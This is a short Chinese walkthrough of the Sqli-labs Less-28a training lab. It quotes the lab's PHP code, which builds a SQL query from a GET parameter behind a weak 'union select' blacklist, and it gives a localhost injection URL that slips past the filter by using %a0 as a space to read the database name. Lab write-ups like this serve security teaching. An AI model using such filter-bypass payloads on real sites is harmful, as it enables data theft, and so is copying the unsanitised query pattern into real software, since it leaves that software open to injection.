Sqli-labs Less-28a 绕过union\s+select过滤 union注入

关键代码

function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id);                //strip out /*
//$id= preg_replace('/[--]/',"", $id);                //Strip out --.
//$id= preg_replace('/[#]/',"", $id);                    //Strip out #.
//$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
//$id= preg_replace('/select/m',"", $id);                    //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);        //Strip out spaces.
return $id;
}

$id=$_GET['id'];
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
//print_r(mysql_error());

本关与less28基本一致，只是过滤条件少了几个。

http://127.0.0.1/sql/Less-28a/?id=100')union%a0select 1,database(),3||('1